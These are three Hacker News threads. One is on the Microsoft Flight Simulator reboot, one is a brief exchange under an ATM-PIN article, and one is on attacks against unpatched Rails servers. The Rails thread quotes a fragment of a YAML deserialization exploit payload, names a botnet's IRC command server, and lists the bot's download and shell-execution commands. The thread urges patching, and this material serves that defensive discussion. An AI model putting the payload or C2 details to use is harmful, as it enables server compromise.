Microsoft Flight Simulator - <AUTHOR> https://fsi.microsoftstudios.com/ <comment><USER2> Story time: as a kid I would use FS to do intercontinental flights with my cousin. My (small) room would be divided in two: passenger seating, and cockpit.

We would sit down at my computer and take turns flying. I would convince my little sisters to sit down in the passenger area which were two chairs behind a curtain (they for some reason found it less entertaining than we did and often decided to leave early in the flight...).

We even had a little toy kitchen (borrowed from said sisters) to serve cheerios as inflight meals.

Fun times.

<comment><USER3> Kidzania in the UK has a donated giant plane for kids to pretend to be pilots and stewards. The parents sit inside as passengers and get served plastic food. It's so cute.

<comment><USER4> > get served plastic food

An authentic experience.

</comment></comment></comment><comment><USER5> I started on Flight Simulator 4 way back in the day; I think on my 286. I remember when I first moved to Chicago I wanted to check out Meigs Field, the airfield you started on. It's gone now, and has a really crazy story of how it got turned into a park:

[https://en.wikipedia.org/wiki/Meigs_Field](https://en.wikipedia.org/wiki/Meigs_Field)

Looking at the previews for the new FS, I wonder if it will require an Internet connection. It seems like way too much content to download/pre- install. Will it download content as you travel?

<comment><USER6> Wow, just one look at the airfield was a massive hit of nostalgia. I crash landed a thousand times as a kid there. At 5 frames per second on my 286. Thank's for the link. Mayor Daley did not mess around with closing it down. From your link.

>In a controversial and illegal move on the night of Sunday, March 30, 2003, Mayor Daley ordered city crews to destroy the runway immediately by bulldozing large X-shaped gouges into the runway surface in the middle of the night.[14] The required demolition notice was not given to the Federal Aviation Administration (FAA) or the owners of airplanes tied down at the field, and as a result sixteen planes were left stranded at the airport with no operating runway, and an inbound flight had to be diverted by Air Traffic Control, because of equipment scattered on the runway.

<comment><USER7> You can now easily do that in a browser[1], if you need a quick fix. It's the version with aircraft and scenery designer and the audio upgrade. I had to tune the DOSBox clock speed a bit with Ctrl-F12, but it works pretty well (manually go through the start menus!) and I just flew the good old Cessna around Sears Tower :-)

[1] [https://archive.org/details/msdos_Microsoft_Flight_Simulator...](https://archive.org/details/msdos_Microsoft_Flight_Simulator_v4.0_1989)

</comment></comment></comment><comment><USER8> Developed by Asobo Studio[1], french video games studio in Bordeaux. I used to work there, top engineers, confident they'll do a good job.

[1] [https://www.lemonde.fr/pixels/article/2019/06/17/ce-que- les-...](https://www.lemonde.fr/pixels/article/2019/06/17/ce-que-les-352-jeux- video-evoques-a-l-e3-2019-disent-de-l-etat-de-l- industrie_5477576_4408996.html)

<comment><USER9> French video game company with a Japanese name producing a major software title for an American company that sells worldwide.

That might seem unremarkable by today's standards, with practically everything being global in nature, but I appreciate details like this — _logiciels sans frontières_ !

</comment></comment><comment><USER10> The trailer link on this page is very impressive. Here is the direct link to the trailer: [https://www.youtube.com/watch?v=ReDDgFfWlS4](https://www.youtube.com/watch?v=ReDDgFfWlS4)

<comment><USER11> The game looks impressive!

As an aside, how do major companies - computer graphics companies especially - still upload letterboxed videos? If I'm watching a 21:9 video on a 21:9 monitor, there shouldn't be black bars on all four sides; it should fill the screen. The entire video was shrunk down just so that the final five seconds could be a green-colored screen with a little xbox logo in the center?

<comment><USER12> So I'm not the only one here with a 21:9 (3440x1440). It's pretty frustrating!

</comment></comment></comment><comment><USER13> I've been using Flight Simulator since the 80s and it was one of the driving factors that caused me to later become a commercial pilot.

I used to be into the simulation side quite intensely, and I own FSX, P3D, X-Plane and hardware peripherals. However, the underlying engines on these platforms are suffering due to age.

If Microsoft re-enters this market correctly (modern engine, focus on SIMULATION, 3rd-party support, global scenery, etc) this is HUGE for this "niche" market.

<comment><USER14> > However, the underlying engines on these platforms are suffering due to age.

Is X-Plane suffering? As far as I know, it's the only consumer flight sim that does rigorous physics calculations -- [https://www.x-plane.com/desktop/how-x- plane-works/](https://www.x-plane.com/desktop/how-x-plane-works/)

Or did you mean rigorous simulation of plane systems, ATC, ILS/vectoring, etc.?

<comment><USER15> Theres basically nothing that can run X-Plane well at higher settings, especially in bigger aircraft. Your best bet is a overclocked high end Intel consumer CPU.

<comment><USER14> I think that says more about Austin Meyer's insane hacker mentality than X-Plane's deficiencies. Of _course_ he'd allow setting maximum detail/frame levels that are far above what modern desktop machines can deliver -- maybe _someone_ with a 64-core Xeon and paired top-end NVIDIA cards wants to max out such a system :)

<comment><USER15> More than 4 cores doesn't help with the current engine - that 64 core Xeon is going to be clocked lower than a 9700k and perform worse. You could run 16 instances but none are going to run faster.

</comment></comment></comment></comment></comment><comment><USER16> Open source community project: [https://en.wikipedia.org/wiki/FlightGear](https://en.wikipedia.org/wiki/FlightGear)

<comment><USER17> Glad someone mentioned FlightGear. It is a pretty nice simulator, with pretty accurate flight models, although not too friendly to setup. Once you do though ... . I used to do IFR practice in FlightGear, first for my IFR rating, then for the ATP. Unpublished holding patterns, weird approaches (single engine partial panel NDB was an ordeal ...), I could do thirty a day, free. It really helped. I would script random weather, instrument failures and clearances (with festival, I believe it was called). Not the same as a real airplane but still a very helpful tool.

</comment></comment><comment><USER18> I'm so glad that this is a thing now! My first memories of MSFS was FS98, which was one of the few games which ran acceptably on our dated 531MHz Pentium 3 desktop. I remember getting FS2004 a few years after and I was never so simultaneously excited and disappointed to play it when our poor desktop could only sputter out 4-5FPS with all the settings turned down to the absolute minimum.

Years later when we upgraded to a more acceptable desktop, I spent hours of free time in middle school trawling simviation for the most absurd addons, including a Flying Hawk, a cruise ship, a space shuttle, and a BMW 760Li, because why not? My FS2004 install swelled from its initial 3GB to 12GB with all my addons. I've done a countless number of commercial flights and became a lot better at landings thanks to the FSPassengers mod which added some life to the barren FS2004 world, complete with options to serve your passengers drinks and listen to their screams when going stalling into a free-fall :)

</comment><comment><USER19> I grew up playing MS FlightSim, and my main memory of it was that we never (for 15 years) felt like we ever had a computer powerful enough to run it at full detail, full FPS.

Now I know that it was because their engine was never really fully optimized for a GPU. But my brother still uses FlightSim every single day. I'm so happy for him, but I want my kids to also learn how to fly on it. My son's already started (mainly holding the yoke while we fly it).

So a big fist pump for this news, every single word here makes me happy. (Emphasis on "Simulator", PC-first, etc).

</comment><comment><USER20> > _Accessibility is important to us. Whatever your abilities are, if you want > to fly, we are going to do whatever we can to make that happen. Yoke and > pedals, mouse and keyboard, controller, etc. No pilot should be left > behind._

Although not needing it myself, as an interaction designer I was really impressed by the accessibility support for the Xbox One[0]. Glad to see Microsoft keep up their commitment to this!

[0] [https://www.xbox.com/en-US/xbox- one/accessibility](https://www.xbox.com/en-US/xbox-one/accessibility)

<comment><USER21> Microsoft's advancement in accessibility support has found itself new respect from me. I wish they expand their commitment to general computing apart from gaming.

</comment></comment><comment><USER22> No mention of VR support yet. If this comes out without support it will be quite sad. Xplane 11 in VR is amazing (if you can get the framerate of that old engine high enough)

<comment><USER23> It would be so surprising if they didn't. People put a lot of money into their rigs. VR is such a natural thing to move to here.

</comment></comment><comment><USER24> My Flight Simulator story: I lived in Philadelphia well into adulthood and played extensively with MS Flight Simulator. At the time, the game would start in Oakland and you would fly across the bay to San Francisco International airport.

One day, I had to fly for business to San Francisco, my first time being there. As the jet approached for landing, I got an overwhelming sense of deja vu looking out the window. I almost jumped out of my seat! Then I realized I recognized the scenery from all those hours flying across the bay in MS Flight Simulator.

<comment><USER25> I've only been to San Francisco a few times, but every time I fly over, I have the background music from Sim City 4's region view stuck in my head. Because I always played the game with the Bay Area map.

</comment></comment><comment><USER26> Microsoft Flight Simulator brings back very fond memories of my childhood. I can remember learning to fly with a joystick that pushed in and out up and down just like real pilots!

I could never master the helicopter and I'm pretty sure I crashed into the Sears tower a LOT.

<comment><USER19> I really miss SimCopter. The missions were so interesting.

<comment><USER27> SimCopter was one of the most underappreciated Sims ever! Especially fun was loading up the cities you built in SimCity and flying around them in SimCopter. Oh man, good times.

<comment><USER28> Don't know how good it is, but there is Heliborne available on steam, reviews seem decent.

</comment></comment></comment></comment><comment><USER29> Insightful commentary about the trailer by Tim Stone at Rock Paper Shotgun: [https://www.rockpapershotgun.com/2019/06/14/the-flare- path-f...](https://www.rockpapershotgun.com/2019/06/14/the-flare-path-fsx-is- not-the-end/)

</comment><comment><USER30> In the 80s, I used to play the subLOGIC Flight Simulator II on my father's Apple //e. Later, I wondered whether this was a predecessor to Microsoft's Flight Simulator. Apparently it sort of was:

[https://en.wikipedia.org/wiki/Flight_Simulator_II_(subLOGIC)](https://en.wikipedia.org/wiki/Flight_Simulator_II_\(subLOGIC\))

<comment><USER31> Played this as a kid (or it's predecessor FS1 perhaps?) with wireframe graphics only on an Olivetti M21 with monochrome screen.

subLOGIC also released another very addictive game, "Night Mission Pinball".

[https://www.youtube.com/watch?v=0ttoAfg7Ehc](https://www.youtube.com/watch?v=0ttoAfg7Ehc)

These two games were my first encounter with PC gaming, along with the Infocom games (zork etc).

</comment></comment><comment><USER32> I just want a pretty flight sim with a handful of planes that lets me fly everywhere in the world without dollar signs appearing in the menus.

Actually I'm finding myself giving up on video games for the exact same reasons I gave up on television 20 years ago, I'm tired of everyone trying to sell me more shit during the increasingly rare free moments I have.

<comment><USER33> There's still non-cash-grab yet AAA games out there, depending on what type of game you enjoy of course. For action games there's Horizon Zero Dawn and God of War on the PS4; HZD has some optional DLC but it's just a bit of extra content, and GoW does not (will not?) have any of that. Just a complete game, no attempts at upselling, etc.

</comment></comment><comment><USER34> Why did Microsoft let the Flight Simulator franchise go to the back burner for so long?

I know these vast corporations have to focus but it is still a mystery to me why they let it go. Does anyone have any idea what the thinking was? What has fundamentally changed for them to want to get back to it?

<comment><USER35> It's a niche product that requires a specialized and no-longer-common controller. Market growth was in other places and Microsoft chased that.

Now the market is gigantic with plenty of room for rebooting beloved-albeit- neglected franchises.

<comment><USER36> When MSFS was in its heyday flight yokes were <$50. And they were a super common accessory. Now, you can't find anything for less than $180 on Amazon.

<comment><USER37> I'm not convinced flight _yokes_ were ever cheap, meanwhile a Logitech 3D pro is 3 axis plus throttle for ~$35 [https://www.amazon.com/Extreme-3D-Pro- Joystick-Windows/dp/B0...](https://www.amazon.com/Extreme-3D-Pro-Joystick- Windows/dp/B00009OY9U/ref=sr_1_1?crid=7GKDM9DR3FYY&keywords=logitech+attack+3&qid=1561484490&s=gateway&sprefix=logitech+attack+%2Caps%2C171&sr=8-1)

</comment></comment></comment></comment><comment><USER38> Come a long ways since 1.0: [https://www.youtube.com/watch?v=27szyA9mZ8Q](https://www.youtube.com/watch?v=27szyA9mZ8Q).

</comment><comment><USER39> Spent countless hours flying around with FS as a kid. A friend and I would also connect up our computers over dialup and fly around together.

Did anyone participate with any virtual airlines on AOL way back in the day?

<comment><USER5> On Prodigy, there were boards where people would log their flight time on FS4, F-15 Strike Eagle (Microprose) and other sims/games. People would hand out ranks and medals too.

<comment><USER40> F-15 Strike Eagle II was the first game I ever played on a computer. I wrote an indignant handwritten letter to Sid Meier c/o Microprose praising the game but demanding a replacement floppy when the one with the desert storm expansion got lost. (My mom let me send it after editing out my "By the way..." preceding the request.)

</comment></comment></comment><comment><USER41> The trailer is gorgeous. I imagine this will take a pretty hefty machine to play at high quality.

I miss the old MS joystick that had a throttle, extra buttons, and especially the yaw twist capability of the stick. Once you got comfortable with it, there was no need for rudder pedals. Flying the helicopter (in full manual) was quite a challenge, but it was doable.

<comment><USER42> > _the old MS joystick that had a throttle, extra buttons, and especially the > yaw twist capability of the stick_

The sidewinder? I don't remember it having a throttle though [https://en.m.wikipedia.org/wiki/Microsoft_SideWinder#3D_Pro](https://en.m.wikipedia.org/wiki/Microsoft_SideWinder#3D_Pro)

Looks like there were relaunched and you can still get USB models from retailers.

<comment><USER41> Yes, that's the one! There were at least to versions (generations?) - at least one had a slider, and the other had a dome shaped knob; both worked for throttle. [https://www.x-fish.org/blog_picture/110607_01.jpg](https://www.x-fish.org/blog_picture/110607_01.jpg)

<comment><USER42> Nice. Dear gods I forgot what nonsense plugs were before USB. Did it plug into a? MIDI? port??

<comment><USER41> That was a [https://en.wikipedia.org/wiki/Game_port](https://en.wikipedia.org/wiki/Game_port)

<comment><USER43> Which, incidentally, can be used as a MIDI port with a converter cable.

</comment></comment></comment></comment></comment></comment><comment><USER44> Pretty visuals, but I'm still wondering if the underlying physics are based on lookup tables for stability derivatives, or if it's actually physically modeling pressures on surfaces a la X-Plane. If it looks like a photograph, but is a cartoon underneath (to cater to Xbox players perhaps), I'll pass.

</comment><comment><USER45> I started playing with Flight Simulator 3 or 4 - not really sure which. During the summer I'd stay at my aunt's for a few weeks at a time, which was mind- numbing since it was in the suburbs away from all my friends.

My cousin had left his screaming fast Packard Bell in his room after he went away to college and since I clearly had decades to kill until my mom came to get me, I spent a lot of time trying to figure out Flight Simulator. I had no idea what I was doing, but I successfully flew from New York to Meigs Field at least once, and always loved to fly around the Chicago skyline since I missed home - and didn't know much else at the time.

I never really played the game much, away from that old Packard Bell, but the game's a big part of my personal journey into computers - at a time when nobody else in my world knew much about them.

</comment><comment><USER46> I hope this will be one of those games that manages to do one thing better than anyone has before: Volumetric cloud rendering. Kinda like how Sea of Thieves has really pushed the envelope when it comes to ocean and wave rendering.

</comment><comment><USER47> I'm really excited about this. I spent hours playing Flight Simulator back in the 90s, and it was a great experience, and am looking forward to another generation getting to play it!

<comment><USER48> I've taken to watching Twitch streams, off work pilots playing M$ Flight Sim. They tell some of the most interesting stories. But what interest me the most is the sequences they perform. Try checking some of their streams. Can't recommend one off hand, all are equally good.

<comment><USER49> Recommend any? I just searched and no MSFS categories appeared, even a game placeholder.

Edit: Nevermind - it's here: [https://www.twitch.tv/directory/game/Microsoft%20Flight%20Si...](https://www.twitch.tv/directory/game/Microsoft%20Flight%20Simulator%20X)

</comment></comment></comment><comment><USER50> I'm ok with this if it brings the flight sims back. But I don't care about Flight Simulator; can we get modern X-Wing and Tie Fighter next? Pleeeeease?

<comment><USER51> Considering how Electronic Arts has been treating the Star Wars liscence, the chances are poor. If you're into simularors though, I heartily recommend Elite Dangerous, but the learning curve is steep and a HOTAS is almost a necessity.

</comment></comment><comment><USER52> The first and only piece of software I've ever bought on physical media!

</comment><comment><USER53> Remember when a guy stole a plane in Seattle that learned to fly via Flight Simulator? [https://www.nytimes.com/2018/08/12/us/richard- russell-q400-f...](https://www.nytimes.com/2018/08/12/us/richard- russell-q400-flight-simulator.html)

</comment><comment><USER54> Looks like quite a bit of the footage was not actually from the simulator but real-life 4K footage. The end of the video shows more of the rendered simulation. But all in all, I feel the video started off a bit misleading.

Still looks cool, but wish they would be more honest in the marketing of it.

</comment><comment><USER36> MS flight sim for Mac was the first game I paid for as a kid out of my own pocket. I also bought a yoke to really "simulate" the experience.

With modern graphics and an updated engine I hope this version really flies! And with VR being in reach it will no longer be necessary to have crazy screen setup.

<comment><USER33> > And with VR being in reach it will no longer be necessary to have crazy > screen setup.

I only have a Vive to compare with, but, having tried a bit of Elite Dangerous on that, I'd say VR still has a way to go - it was hard to read all the text, and a flight simulator will have a lot more dials and the like. It needs more resolution and sharpness first.

<comment><USER55> Vive is very bad for this kind of stuff (as someone who owns one). However, the vive pro is adequate and a couple WMR headsets like the Samsung Odyssey+ or HP Reverb make text look great (and are cheaper than the vive as well). The tracking isn't as good, but for sims that's not an issue

</comment></comment></comment><comment><USER56> The "For once you have tasted flight" quote is well-known tob be mis- attributed to da Vinci:

[https://quoteinvestigator.com/2019/01/07/flight/](https://quoteinvestigator.com/2019/01/07/flight/)

<comment><USER35> By now, it's probably better to just agree on a new canonical attribution - "Leonard Nimoy, Civ IV voice actor".

</comment></comment><comment><USER57> How does this compare with Prepar3D from Lockheed. I thought Lockheed had bought MS FlightSim and even hired a good number of their developers and that was the end of MS FligthSim

[https://www.prepar3d.com/](https://www.prepar3d.com/)

<comment><USER58> Hard to say with just a 1m30s preview video to go off, but if those visuals are the "basic" MSFS global graphics then they are quite impressive even compared to copy of P3D that has been modded out with global scenery from third party content providers. If i were to guess, its probably a technological leap instead of an increment, as they'd be disinterested in competing with the X-Plane and P3D install bases unless they knew they had something that was more than a sideways improvement. I would find it weird if they just try to be as good as the rest of the pack, at least.

As for your second question, you're right and wrong. Lockheed got the rights to further develop the old MSFS engine, and to rebrand it as P3D, but only for academic/professional simulation purposes. So they are not allowed to sell it as a game, only as a learning and simulation tool. Here are some of the reqs from the Academic License (60USD) EULA, whereamong you'll find this : (3) in connection with Academic Education, (4) by students, instructors and staff associated with Licensee's Academic Education, .., (6) for purposes other than personal/consumer entertainment. Point (6) also appears in the EULA of the Professional (200USD) license.

Though this has, AFAIK this has been done more for corporate legal reasons than for any desire to go after individual users. I've never heard of any revoked licenses on the above-mentioned grounds.

So Microsoft has always signaled that they consider MSFS a product still in their gaming portfolio. Though people learned to cope with the absence.

<comment><USER57> Interesting. Thank you for replying.

> So they are not allowed to sell it as a game, only as a learning and > simulation tool.

That makes sense finally. I had noticed that when was using it and always thought they just didn't want to bother with the gaming part because there was not enough of profit for them to restructure having to support that market.

<comment><USER15> Pretty sure it's not a coincidence that the academic edition is sold at video game pricing.

</comment></comment></comment></comment><comment><USER59> I'm really glad this is coming back - I've bought it several times over the years and really enjoyed flying it. In more recent versions using the ATC and trying to make it as realistic as possible experience - flying around between nearby local airports.

</comment><comment><USER60> I wonder how this will run on Xbox. I've been out of PC gaming for a while now and no way this will run on my current PC. It would be sweet if you could hook up a flight stick to an Xbox and play this.

</comment><comment><USER61> This is great news for Allec Joshua Ibay who has a knack for faithfully reproducing airline tragedies via MSFS.

[https://www.inverse.com/article/21385-plane-crash- simulating...](https://www.inverse.com/article/21385-plane-crash-simulating- aviation-disasters-youtube-flight-simulator-sully) [https://www.youtube.com/channel/UCRRGxJkqoOgI3htdVuK5F3A](https://www.youtube.com/channel/UCRRGxJkqoOgI3htdVuK5F3A)

</comment><comment><USER62> I have fond memories of both FS9 (2004) and FS X. One of my favourite trips was to take off from Hong Kong and land in Macau in a Learjet - they are pretty close by, you need to make a sharp 90 degree turn, the runway is a narrow strip with the ocean on both sides, and the Learjet 45 is not easy to handle over short distances. All combined to make it a similar to playing a violin piece that you keep on fine tuning the tough parts until it all flows together.

</comment><comment><USER63> [https://www.youtube.com/user/Airforceproud95](https://www.youtube.com/user/Airforceproud95)

This youtuber does some funny videos about ATC in a video-game. His efforts are a great mix of hopelessness and real ATC skill. A good video here: [https://www.youtube.com/watch?v=EeC0ZTT8n7E](https://www.youtube.com/watch?v=EeC0ZTT8n7E)

<comment><USER64> Butter.

<comment><USER63> Requesting Mayday

</comment></comment></comment><comment><USER65> I loved MS FS back in the day!

According to wikipedia, this new one will feature "Azure AI". What does that mean?

<comment><USER66> I'm guessing the "AI" was used in the geometry mapping from the sat data they used for their region maps.

<comment><USER67> My dream feature would be weather based on live meterological inputs.

<comment><USER68> Haven't they supported that for ages? I thought even FS2002 had that

<comment><USER69> FS2004 was the first to feature live weather

</comment></comment></comment></comment></comment><comment><USER70> Oh boy! I have such great memories of playing this title. Very glad they are rebooting this!

</comment><comment><USER71> I just watched the trailer and holy goat shit that looks amazing. Great job!

<comment><USER72> I agree. It looks like they make full use of assets they would have access to for Bing maps. A lot of the progress in e.g. x-plane in recent year has been the use of map data, satellite images, and other geospatial data to generate highly detailed scenery. I have close to half a terabyte worth of auto generated scenery with high resolution satellite imagery, 3d meshes, and open streetmaps based positioning of roads, buildings, trees, etc. For a small company like x-plane it never was feasible to curate detailed scenery world wide and even MS back in 2006 only had auto gen scenery in most parts of the world. X-plane v10 was the first version to include open street maps based scenery and they vastly improved this with v11.

Nowadays, Microsoft of course has access to lots of data; their scientists have developed lots of cool algorithms to synthesize detailed 3d models from photos and other sources, they have access to essentially unlimited hardware infrastructure to process this, they have lots of experience building 3d graphics libraries such as directx and have lots of experience working with hardware vendors to deliver VR. Speaking of which, flight simulation and AR could be an awesome use case for e.g. Hololens.

Putting this all together, they should be able to produce some really detailed scenery and a modern rendering engine to go with that. The only question is why they ever walked away from this. It's such a great show case for a lot of stuff they have.

<comment><USER71> Yes I would love an explaination on how they actually solved it technically, it would be very interesting. Microsoft has really, really upped their game recently in terms of quality.

Sadly they also have upped their tracking but but, it is still pretty awesome.

</comment></comment></comment><comment><USER73> What kind of an investment would someone need to make to maximize enjoyment of this game? Could I enjoy it with keyboard/mouse or should I at least buy some specific equipment?

<comment><USER74> I've no idea about the computer needed. (Graphics conflicts with my extreme cheapness.) But as for controls, you really should get a yoke (or possibly a joystick, but I've found them to be less enjoyable and/or realistic) and rudder pedals.

That's reasonably cheap; beyond that the sky's the limit.

</comment></comment><comment><USER75> wishing Microsoft the best but it really is a niche market - for one, there are so many aircraft controls that you really do need some specialized controllers (yoke) to make it enjoyable experience. Other factors include rather mundane experience of flying aircraft (from general gamer point of view) as well as the resource hungry requirements (OK, not so much these days but it was quiet expensive game to run back in the days).

<comment><USER76> You can fly Cessna in X-Plane perfectly fine with nothing but an Xbox controller; left stick is your yoke, right stick for look around, triggers for rudder, bumpers for brakes, the four primary buttons for flaps and throttle, and the 4 cross buttons for trim. Other controls you can use the mouse for in 3D cockpit as you will use them sporadically (eg lights, adjusting instruments, mixture, carb heat)

</comment></comment><comment><USER77> It strikes me that, as they imported satellite data, they could also provide relatively accurate models of airport interiors ...

</comment><comment><USER78> Microsoft Flight Simulator is, to this day, literally the only good thing Microsoft has ever done.

<comment><USER79> WSL, vscode, Kinect, Xbox, plenty of things they did well.

</comment></comment><comment><USER80> Wasn't the original flight simulator included as an Easter egg in ms excel?

<comment><USER37> Excel literally didn't exist when the first version of Microsoft Flight simulator came out: [https://en.wikipedia.org/wiki/History_of_Microsoft_Flight_Si...](https://en.wikipedia.org/wiki/History_of_Microsoft_Flight_Simulator#Flight_Simulator_1.0)

</comment></comment><comment><USER81> One of the first games I had was Flight Simulator II for the Amiga 1000.

</comment><comment><USER82> MS Flight Sim might be a good pilot case (pun intended) for WebGL and WebAssembly. The nature of simulator is not that CPU/GPU taxing. I would assume the players play it more for the actual simulation and less for the specular graphics.

<comment> jon-wood > The nature of simulator is not that CPU/GPU taxing.

I think you're underestimating just how much simulation is being done in a proper flight simulator. The really good ones are literally simulating air flow around the aircraft, in realtime, to determine how it should respond.

<comment><USER76> The actual simulation part is not very taxing; it typically uses less than half a millisecond CPU time per frame in X-Plane, which has the most advanced simulation on the market.

</comment></comment></comment><comment><USER83> Does the last version of MS Flight Simulator work well on Wine?

<comment> iso-8859-1 The last published test result is a few years old, but it seemed to work with minor issues: [https://appdb.winehq.org/objectManager.php?sClass=version&iI...](https://appdb.winehq.org/objectManager.php?sClass=version&iId=7775&iTestingId=94209)

</comment></comment><comment><USER84> Does it support VR?

<comment><USER85> Given the literally thousands of dollars of DLC available for FSX, it's very possible they'll charge for VR

<comment><USER86> I think its worth noting that most of the DLC for FSX is is third party.

<comment><USER85> I didn't know that was a thing. Thanks

</comment></comment></comment></comment><comment><USER87> It would be awesome if this were on Oculus Quest.

</comment><comment><USER88> The music is pretty good in the trailer.

</comment><comment><USER89> I can do a Fyre Festival related cameo about how I learned how to fly with FS :)

</comment><comment><USER90> My reply is a little off-topic but I wanted to share as it is Flight Simulator related.

Last year an old boss and friend passed suddenly. He had only just turned fifty but the years of poor eating and sitting caught up with him in his late forties.

He was a Flight Simulator addict. He held a private pilots license as well and would fly small aircraft. Took us up a few times which was amazing. Very different to a regular airplane. He had an amazing setup with, I think, six screens, proper chair, and controls. We once got him a pilots cap for a birthday for him to wear :)

So when I saw the new Flight Simulator announced during Microsoft's E3 event the other week my first thought was how he would have loved this. He had moaned for years about Microsoft killing it off so this would have excited him like nothing else. It really hit me in my gut and my heart just how much I miss that guy.

If you are having some small health problems _please_ get them checked out and take your health seriously. My friend was there one day then the next found sitting in his god damn home office with work documents still on the screen. He left behind a wonderful wife and two teenage kids. Rest in Peace my friend.

<comment><USER91> Long periods of sitting are actually very hard on your system and one of the reasons why so many quit doing what they love.

Also tight deadlines and other maybe less obvious constant stressors might exacerbate pernicious effects.

For that reason even junior and intermediate developers should think twice about fair/sustainable remuneration.

Ageisim diclaimer: That doesn't mean that there aren't lots of people with exceptionable health and/or consistent exercise / eating discipline of course.

<comment><USER92> What other areas do people with technical backgrounds move into that don't require so much sitting? With degrees in physics and applied math, I'm not sure where I can go and not be at a desk (or take a huge hit in $$).

Just 3 years out from school, and I can definitely notice the difference in my physical health and mental agility. I have taken up gardening to get me outside and eat decently well. I can still feel the effects, scary.

<comment><USER93> If you can work from home (big if) then you might consider looking into a standing desk + treadmill.

There are some decent options available. The "Autonomous" desk is great, I purchased JUST the legs and use an IKEA top to save money.

Now, I'm looking at the "Treadly" treadmill. Technically, this isn't an "under desk" treadmill, but it's the thinnest treadmill on the market and can be operated without the bars upright. So it's perfect for going under your desk, and then under a bed or a couch when you're not using it.

<comment><USER94> Uplift[0] also sells treadmills and exercise bikes specifically for standing desks. I purchased one of their desks a few months ago, and while it's a bit spendy, the quality is fantastic. I expect to be using it 15 years from now.

[0] [https://www.upliftdesk.com/desk-accessories/movement- exercis...](https://www.upliftdesk.com/desk-accessories/movement-exercise/)

</comment></comment></comment></comment></comment><comment><USER95> It would be amazing if they gave this an online battle royale mode.

<comment><USER96> Hardcore flight sim pilots will scoff at your comment, however, optional gamification (battle royale or missions) would make it more commercially successful, funding future development.

<comment><USER97> Create a competitor to Digital Combat Simulator with this engine and watch the fanbase jump.</comment></comment></comment>


HACKERS CAN STEAL Your ATM PIN FROM Your SMART DEVICES - <AUTHOR> https://blog.afritechmedia.com/hackers-can-steal-your-atm-pin-from-your-smart-devices/ <comment><USER2> REALLY GOOD ARTICLE Thank YOU For POSTING IT

<comment><USER3> We appreciate that you're watching out for quality submissions on Hacker News, but please don't keep doing this.

> _Please don 't complain that a submission is inappropriate. If a story is > spam or off-topic, flag it. Don't feed egregious comments by replying; flag > them instead. If you flag something, please don't also comment that you > did._

[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)

<comment><USER2> What do you mean by "this" \- you are not making sense. I'm not complaining or replying to any egregious comments, so that also does not make any sense to me. I do not understand what you are attempting to imply.</comment></comment></comment>


Exploitation of an old Rails vulnerability - <AUTHOR> https://gist.github.com/ismasan/5647955 <comment><USER2> I'm on an iPhone and going to dinner in a second, but can someone tell them that Gem::Requirements line is a pretty dead ringer for the YAML exploits from January? Servers that haven't been owned yet should update Rails, see my article from January. Owned servers need to get rebuilt from metal, as per usual.

<comment><USER3> It's surprising how often people rely on their own obscurity when they hear about security vulnerabilities. Sure, I could go upgrade Rails, but why bother? I'm only using it for a personal project.

The reality is that bad actors scan the pubic Internet for exploitable servers all the time. It's easy, it's cheap, and it's a very effective way to grow your botnet. If you're on the Internet, it doesn't matter how obscure you are: someone will eventually probe you.

<comment><USER4> Seriously, these guys have been completely out of the loop.

> I think we have to warm all RoR developers...

<comment><USER5> These are the average developer.

Every time I touch a new project it's in need of security updates. Any time a site gets owned, there's no accountability or logging or anything. Any time a security issue does manage to get found it's as if it's a rare new thing. "Wow, who would have thought that could happen." Well, let's see, the developers of the software you're using, and anyone that pays attention to them.

<comment><USER6> Thus, if you don't know what you're doing, subscribe to a service like Gem Canary (<http://gemcanary.com/>) so you get alerts.

<comment><USER7> I like this. Is there anything comparable for Python or Node.js?

<comment><USER8> Yes, try <https://bundlescout.com/>

Also <http://getshrubbery.com/home> which is free, but seemed mildly broken when I tried it (it seemed to forget some of my actually outdated packages when I tried it).

</comment></comment></comment></comment></comment></comment></comment><comment><USER9> Some people in that thread are running rails 3.2.9 end even 3.2.3, and the cited malicious requests contain url paramters the dedoce to ?id=\n---\n!ruby/object:Gem::Requirement\nrequirements:\n -

I.e., they have been grossly negligient in their server maintenance for most of this year. [http://www.kalzumeus.com/2013/01/31/what-the-rails- security-...](http://www.kalzumeus.com/2013/01/31/what-the-rails-security- issue-means-for-your-startup/)

[Edit: although at least one mentions 3.2.11, which should have that particular vulnerability fixed, so it will probably at least sometimes be someting else.]

<comment><USER10> On exactly this subject, I'm in the process of building a SaaS app that will alert you of security vulnerabilities in Gems in your Rails and other Ruby apps.

Sign up at my landing page to here more when I'm closer to launch

<http://www.rubyaudit.com>

<comment><USER11> Doesn't seem to be anywhere to sign up.

<comment><USER10> Doh! I just got the landing page setup, and the signup configured, but never pushed it out.

Try it now.

Thanks

<comment><USER12> Interesting idea, it looks like you scan the Gemfile.lock (or equivalent) at "deploy" time.

My preference would be to upload that Gemfile.lock to a location, and then it could be scanned as and when new vulnerabilities were detected.

<comment><USER10> The problem with an upload is that you rely on someone to re-upload when they change their Gems. Changing the locked Gems means a re-check is needed, as they might have switched to bad versions.

Making this automatic is the key part - if you don't get burned very often, you'll eventually forget to do the right thing manually and open yourselves to badness.

</comment></comment></comment></comment></comment></comment><comment><USER13> Looking at the source code for the IRC bot installed on all compromised system shows the IRC server it connects to. The source is here: <http://220.127.116.11/k.c>

The IRC server is cvv4you.ru:6667 #rails There are currently 2164 idling bots on there. Holy fuck. Its run by a guy with the handle "ryan".

Connect to it and see for yourself: <http://chat.mibbit.com/>

<comment><USER14> Here are the commands for the bot:

NICK <nick> = Changes the nick of the client

SERVER <server> = Changes servers

KILL = Kills the client

GET <http address> <save as> = Downloads a file off the web and saves it onto the hd

HELP = Displays this

IRC <command> = send_msgs this command to the server

SH <command> = Executes a command

I'm a little light on IRC proxies right now - anyone care to test if you can kill all 2,164 bots in one easy peasy MIRC script?

<comment><USER15> you cant. it seems that they only respond to messages in the channel #rails and the channel is set +m

</comment></comment></comment><comment><USER16> I'm finding it intensely amusing that most of the people around here don't realize that there are pay-for-use botnet services out there, that they are the most likely people that will own your server, that they're continuously on the leading edge of discovering and exploiting security vulnerabilities, and that it's not an "option" to continue to use a software version that has security vulnerabilities.

